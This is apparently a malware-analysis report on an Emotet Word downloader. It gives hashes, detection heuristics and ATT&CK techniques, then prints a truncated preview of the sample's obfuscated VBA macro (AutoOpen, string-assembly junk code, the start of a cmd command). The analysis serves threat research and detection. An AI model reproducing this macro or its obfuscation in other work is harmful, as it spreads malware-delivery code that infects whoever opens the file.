Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bd664f3f2d2b3ac4…

MALICIOUS

Office (OLE)

151.9 KB Created: 2018-09-26 21:49:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: a1e1541a3f9d3e4a4d43e25665c7c6b6 SHA-1: 1a44edee0d0d34a78d214ce518a3fd4fa17d75a8 SHA-256: bd664f3f2d2b3ac45db511186b5423392a6043e29a526777878f29b5460eea8e
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing and a ClamAV detection for Doc.Downloader.Emotet-6884001-2, indicating it is a downloader. The AutoOpen macro is present and likely responsible for executing the malicious payload. The VBA script is heavily obfuscated, but the presence of the Shell() call strongly suggests it attempts to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6884001-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884001-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 111152 bytes
SHA-256: e0801273c320ee42a6671a3a65ba1f7f8fd4010251a963c1d2b6772225802ade
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uplwidTTizusH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim QVWNBt(2)
QVWNBt(0) = Left(GbzlziS + ATEZFzLVcnKcbhABii + aNUZAH, 759) + MidB(UFjmzXL + CfRhYcUKQiRGdNLlqwEiX + ZAqcJovH, 545, 150)
QVWNBt(1) = Right(pshjwXVM + WlVMZPYztYiDrihWzBFzkWt + HKCwcz, 575) + MidB(zOfii + VGoqBQbqNaQpjGGqmr + FNZaJ, 594, 816) + Right(vqPPES + uaFOWNSXiZboXBjccoHwz + VvUac, 775) + MidB(sQVrjAGD + RpiYZWOVoDndFRTrhGklq + XJAbW, 724, 106)
   Dim twunij(2)
twunij(0) = MidB(ktRofQ + suHlnzRNGthPFuSzkjncZQt + TdiDKOoF, 772, 791) + Right(hhKYnMCf + AnSuGFSitjbtzbBQpdzz + zcDmE, 830) + Right(UdrkPIjm + wNFoLwoAOIVAoOcPwRC + YVkFHth, 69) + Right(ArzKRGp + aizcDVYAWJCwVpMrjHj + VnXuwKIH, 32)
twunij(1) = Mid(BZthkj + jPdEVbvuwiitdCwiEwOB + EUpwfHz, 285, 132) + MidB(rjBSAiO + dYYXlREodSNdUFfOrl + EUPfzMD, 278, 8)
   Dim VFSqE(2)
VFSqE(0) = MidB(NBzUBC + REGolSkkjlIpFvaq + AYctm, 576, 849) + MidB(SJczTq + LBNViGTvNMuZbMrjdvwoP + Rbfnj, 980, 638)
VFSqE(1) = MidB(pKoSRI + QfZzrkoCKuzNNXprPn + NXMWhW, 982, 274) + Right(lXkrLafu + omEAcMkcRiZkSMcDSDwaAb + MLOMUo, 58)
   Dim GfvSKN(1)
GfvSKN(0) = MidB(adGUOPkK + zShJlDVmoslUvNlMn + VrtIw, 997, 37) + MidB(BILBa + tbOobhBpoASBwwzwpPcVD + bqcCQt, 908, 315) + Right(ZjanqEu + jOODBiDihRGLULMLXG + GOhAXIz, 223) + Right(DkHMm + NPkiaiMUhfriMcHpTijV + iuIjzt, 477)
   Dim SLuUmE(1)
SLuUmE(0) = MidB(PMnRf + ErjasLEZzYjOENklJSjjfzK + OCvjcSH, 560, 170) + Left(POmHUOU + BcGXtZdYAahoTDrGwwkb + WujYOR, 593) + Left(jmwYmD + VICzavbQWObCRKXizA + vtQkXnf, 85) + Left(NPTBN + EBwvQMWRuOPYrjbFKLEj + KToBhz, 925)
   Dim KqmCjj(1)
KqmCjj(0) = MidB(CbTUzZJY + wHthuMskEcXGvcDZ + FwqdurB, 664, 404) + Right(Sobdt + NpnzQLimOEwGzFJDDAjLJP + FAicCz, 131) + Right(nGiiwHi + YsLMKkUZwjiikKtilCzznV + aZFsCXf, 823) + MidB(sqtIM + iFJVXZUwBbasTztQUDiH + znjwpdpX, 789, 177)
YcSnTRLM (KeyString(VzVwM + BuFnPZPI + 18 + 20 + 29 + UqjDr + wEVNRR) + XKzuBDU + jwZNHkk + KeyString(kkJCEiDw + lkkcX + 20 + 23 + 34 + PSOhwzru + ULrUluij) + WJJNWfv + aXhScVhQ + EDQIDw + joLVkP + FSXmYsGMaNu + RssYdXZ + jAVCYtkwsU + DofYGV + UiAWtP)
   Dim HAwKb(2)
HAwKb(0) = MidB(sXGYlDDO + kqcoiYlddFfavOtJRWncrn + wSMQTYjJ, 480, 381) + Mid(bMPzwrM + KrmWFQwNlBocRMlG + pazEhFG, 808, 616) + MidB(DnmaZuO + MLiQzCnjkGGGRnRXEJ + lbZlCCr, 355, 448) + MidB(ZdriFf + JwsUzOImcqJJwpZQVko + NiAsZEL, 860, 441)
HAwKb(1) = MidB(ltHcXltF + iOSwutjMiViJGZihRzm + tDhwt, 689, 832) + Mid(CiUhtiK + KHbGjAOMKYYjIFrLjUcr + Hctjf, 78, 434) + MidB(cLimUh + XjKDSiaonzvJhEbYVdjGB + TiZSWi, 39, 707) + MidB(cwptT + QXpJvwuiIMGqaIQCzVQVtYbF + miBWo, 804, 585)
   Dim Ymfjd(1)
Ymfjd(0) = Mid(dOkThmfc + ACwkTqcGiKkCkvpETlm + uNVsX, 991, 984) + MidB(SpcBVF + GWritMzpqpYnkNqFVoFHil + uCSakIV, 590, 306)
End Sub


Attribute VB_Name = "BBVDJJJBaic"
Function WJJNWfv()
Dim LPKJVM(1)
LPKJVM(0) = MidB(kzcSQ + jscXiIfDVUhYBKswAFJE + LnRSFJoR, 968, 403) + Mid(iEWfMC + fZziQaSVuanXVNkDMf + jvKfncV, 854, 141)
   Dim Vncjw(2)
Vncjw(0) = Left(AUCFW + CNfAujKMHdShnqF + iznMuWv, 779) + MidB(TwnInQ + TPKmEJGFmThMAjCZTGYEr + nfXAiQoY, 724, 513) + Left(vdXnQIUb + RUikrjvKSkFiFIDs + GwiHwv, 351) + MidB(WbwUODRt + NqQBLHNFKARiOVDduk + OvIIBvfn, 277, 577)
Vncjw(1) = MidB(YpwTRp + zwEtiRhOQiWCGChG + Wlnwoi, 405, 491) + Mid(FCjpR + ajszZwOFVnqRjjbKRwtmiI + YUoNk, 301, 739) + MidB(Zcznoi + hjScWsOHZTjzuubtRHDa + MrLiWdN, 208, 560) + MidB(MaBjvz + SbZPmCsMRBdJnAKulwFVUIR + ZJVHbk, 231, 16)
   Dim ZbiQYt(1)
ZbiQYt(0) = Right(PZZrpO + tNGEGVVYfvtCYbAWIGjhc + BHuiUHs, 690) + Right(uiUDFFdt + VqwZVWGkNfdMNdFKoB + cFnzECB, 56)
UEkUjrbvz = "d \\\/ \/\   \  \\" + "\ /V:O/C" + """" + "set {$\=a70" + "2 70a2 a720 27a" + "0 072a 02a7 027a 27" + "0a a270 02a7 07a" + "2 a702 a072 "
Dim mnnCn(1)
mnnCn(0) = Left(vEuWEz + RcwaUzSiFmnBSVMS + ahPdJUV, 733) + Mid(jFcDQ + mwmVEzBvvCbBshwujzLtijK + hNwlK, 598, 492) + MidB(MWkOhcZT + NzIIMVsbFHpuOTwQRWSN + UKUQi, 3
... (truncated)

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